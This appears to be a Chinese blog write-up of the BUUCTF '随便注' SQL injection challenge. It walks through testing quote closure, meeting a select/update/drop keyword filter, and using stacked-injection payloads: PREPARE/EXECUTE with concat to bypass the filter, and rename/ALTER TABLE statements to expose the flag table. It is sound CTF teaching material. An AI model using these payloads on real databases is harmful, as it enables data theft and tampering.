BUUCTF在线评测-练习场-WebCTF习题[强网杯 2019]随便注1-flag获取、解析

解题思路

题目提示是sql注入了,打开靶场

姿势应该就是我们注入的点,自动给了我们一个1,提交试试

 

后续尝试了一些数字,只有1和2有回显 ,我们直接尝试字符判断法,看下是字符型还是数字型还是其他什么?

1'
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

得到了以上报错,很明显是字符型,这个''1'''有一定的混淆性,让你以为闭合是双引号,其实不是,我们再尝试更明确的字符

1'1'
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1''' at line 1

得到报错'1''',发现什么?我们的1少了一个,说明我们的payload1'1'中的第一个1'与前面的语句形成闭合,作为正确语句了,所以没有报错,因此闭合肯定是单引号。而后面的1'则进行了报错。那为什么报错'1'''?前面多的单引号和后面多的两个单引号哪里来的?我们知道,既然我们闭合了一个单引号,那么必然多出了一个单引号在后面,那么报错应该是1'',因此这里是报错信息将1''用两个单引号包围起来了。

这样第一个1'payload也能理解了,原语句

select * from user where id='1''

报错'1'',然后用单引号包围,即报错'1'''。

既然判断出是单引号闭合,后面就容易了,先order by 判断列数

1' order by 3#
1' order by 2#

3报错,2正常,那么列数就是2

使用union查看下回显

1' union select 1,2 #

emmm并没有查看到,而是显示

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

很明显是提示,把select等字符都给过滤了,这里就不能union注入了,select语句不行了,尝试我们前几天打的靶场说的堆叠注入是可以的

1'; show databases;#

看到挺多

先爆一下表再说

1'; show tables;#

然后暴列,注意这里语法是反引号

1'; show columns from `1919810931114514`#

直接发现flag列,然后看具体的值就基本上必须要用Select了,尝试各种绕过都不太行,直接使用大佬的wp了,这里推荐wp只有一个,其他的我只能说比较离奇...推荐payload:

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

PREPARE hacker FROM concat('s','elect', ' * from 1919810931114514 ');

这条语句在 MySQL 中的作用是:

动态构造一个 SQL 查询语句并用 PREPARE 编译它为可执行形式,句柄名为 hacker

关键点说明:

  • 拼接查询字符串

    concat('s','elect', ' * from `1919810931114514` ')

    = 'select * from 1919810931114514'

  • 使用 concat() 拼接关键词 select 是为了:

    • 绕过关键词过滤或防火墙规则(比如屏蔽了 select

  • PREPARE hacker FROM ... 是 MySQL 的预编译 SQL 语法,将拼接好的字符串变成可执行语句。


EXECUTE hacker;

  • 执行上一步定义好的预处理语句(即:select * from 1919810931114514

  • 此时会把 1919810931114514 表的全部数据(例如 flag 字段)返回出来

还有一个比较厉害的思路是把正在查的这个表words的名字改了,然后将我们要查的那个数字表1919810931114514,改成默认语句要查的这个表的名字,然后进行注入查询即可。这个思路确实新奇。为什么确定是words表?我这里就不展示查words表了,其实是查了words表中的列有id字段确定的,下面是payload:

1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);#

这里讲一些关键的

ALTER TABLE words ADD id int(10) DEFAULT '12';

  • 在新“伪装”后的表中新增一个字段 id

  • 用于满足查询字段要求


 ALTER TABLE words CHANGE flag data VARCHAR(100);

  • 将原表中的 flag 字段重命名为 data,类型改为 VARCHAR(100

然后永真展示

1' or 1=1#

总结

这道题要获取Flag要么有充实的储备,要会用mysql的预编译命令;要么有比较好的思路,就是更改表名。总之学到了就行。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值